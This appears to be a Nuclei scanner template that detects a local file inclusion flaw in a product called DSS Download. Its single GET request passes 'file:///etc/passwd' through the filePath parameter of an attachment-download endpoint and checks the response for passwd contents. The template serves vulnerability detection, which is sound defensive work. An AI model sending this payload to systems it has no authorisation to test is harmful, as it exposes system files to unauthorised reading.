id: dss-download-fileread

info:
  name: DSS Download - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: DSS Download is vulnerable to local file inclusion.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: lfi,dss,lfr

http:
  - method: GET
    path:
      - "{{BaseURL}}/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd"

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022011e9a7b8ecf8bd2d2e823e621b1e01829f473840269368fc7c5958a5f42af56402202fdc9685e3df655d9cc12717859771099652ec6ab5c0cfd51e3be1984dceed7d:922c64590222798bb761d5b6d8e72950